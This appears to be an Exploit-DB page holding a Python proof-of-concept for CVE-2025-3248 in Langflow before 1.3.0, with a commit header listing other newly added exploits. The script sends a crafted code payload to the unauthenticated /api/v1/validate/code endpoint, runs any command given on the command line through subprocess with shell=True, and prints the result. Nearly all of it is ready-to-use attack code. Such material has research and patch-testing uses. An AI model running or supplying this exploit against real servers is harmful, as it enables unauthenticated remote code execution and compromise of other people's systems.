
8 changes to exploits/shellcodes/ghdb Langflow 1.3.0 - Remote Code Execution (RCE) Apache Commons Text 1.10.0 - Remote Code Execution Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation UJCMS 9.6.3 - User Enumeration via IDOR Inventio Lite 4 - SQL Injection KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection Tatsu 3.3.11 - Unauthenticated RCE
107 lines
No EOL
3.9 KiB
Text
107 lines
No EOL
3.9 KiB
Text
# Exploit Title: Langflow 1.3.0 - Remote Code Execution (RCE)
|
|
# Date: 2025-04-17
|
|
# Exploit Author: VeryLazyTech
|
|
# Vendor Homepage: http://www.langflow.org/
|
|
# Software Link: https://github.com/langflow-ai/langflow
|
|
# Version: Langflow < 1.3.0
|
|
# Tested on: Windows Server 2019
|
|
# CVE: CVE-2025-3248
|
|
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
|
|
# FOFA "Langflow"
|
|
# Medium: https://medium.com/@verylazytech
|
|
# GitHub: https://github.com/verylazytech
|
|
# Shop: https://shop.verylazytech.com
|
|
# Website: https://www.verylazytech.com
|
|
|
|
import argparse
|
|
import requests
|
|
import json
|
|
from urllib.parse import urljoin
|
|
import random
|
|
from colorama import init, Fore, Style
|
|
|
|
# Disable SSL warnings
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
# Initialize colorama
|
|
init(autoreset=True)
|
|
|
|
# Constants
|
|
ENDC = "\033[0m"
|
|
ENCODING = "UTF-8"
|
|
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]
|
|
|
|
def banner():
|
|
random_color = random.choice(COLORS)
|
|
return f"""{Style.BRIGHT}{random_color}
|
|
______ _______ ____ ___ ____ ____ _________ _ _ ___
|
|
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ /___ \| || | ( _ )
|
|
| | \ \ / /| _| __) | | | |__) |___ \ |_ \ __) | || |_ / _ \
|
|
| |___ \ V / | |___ / __/| |_| / __/ ___) | ___) / __/|__ _| (_) |
|
|
\____| \_/ |_____| |_____|\___/_____|____/ |____/_____| |_| \___/
|
|
|
|
|
|
__ __ _ _____ _
|
|
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
|
|
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
|
|
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
|
|
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|
|
|___/ |___/
|
|
|
|
{Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
|
|
{Style.RESET_ALL}
|
|
"""
|
|
|
|
print(banner())
|
|
|
|
class LangflowScanner:
|
|
def __init__(self, url, timeout=10):
|
|
self.url = url.rstrip('/')
|
|
self.timeout = timeout
|
|
self.session = requests.Session()
|
|
self.session.verify = False
|
|
self.session.headers.update({
|
|
'User-Agent': 'Mozilla/5.0',
|
|
'Content-Type': 'application/json',
|
|
'Accept': 'application/json',
|
|
})
|
|
|
|
def exploit(self, command):
|
|
endpoint = urljoin(self.url, '/api/v1/validate/code')
|
|
payload = {
|
|
"code": f"""
|
|
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
|
|
"""
|
|
}
|
|
|
|
try:
|
|
print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
|
|
response = self.session.post(endpoint, json=payload, timeout=self.timeout)
|
|
print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
|
|
print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")
|
|
|
|
if response.status_code == 200:
|
|
try:
|
|
data = response.json()
|
|
error_msg = data.get("function", {}).get("errors", [""])[0]
|
|
if isinstance(error_msg, str) and error_msg.startswith("b'"):
|
|
output = error_msg[2:-1].encode().decode('unicode_escape').strip()
|
|
return output
|
|
except Exception as e:
|
|
return f"[!] Failed to parse response: {str(e)}"
|
|
return f"[!] Exploit failed with status {response.status_code}"
|
|
except requests.RequestException as e:
|
|
return f"[!] Request failed: {str(e)}"
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
|
|
parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
|
|
parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
|
|
args = parser.parse_args()
|
|
|
|
scanner = LangflowScanner(args.url)
|
|
result = scanner.exploit(args.cmd)
|
|
print(f"{Fore.GREEN}[+] Command Output:\n{result}")
|
|
|
|
if __name__ == "__main__":
|
|
main() |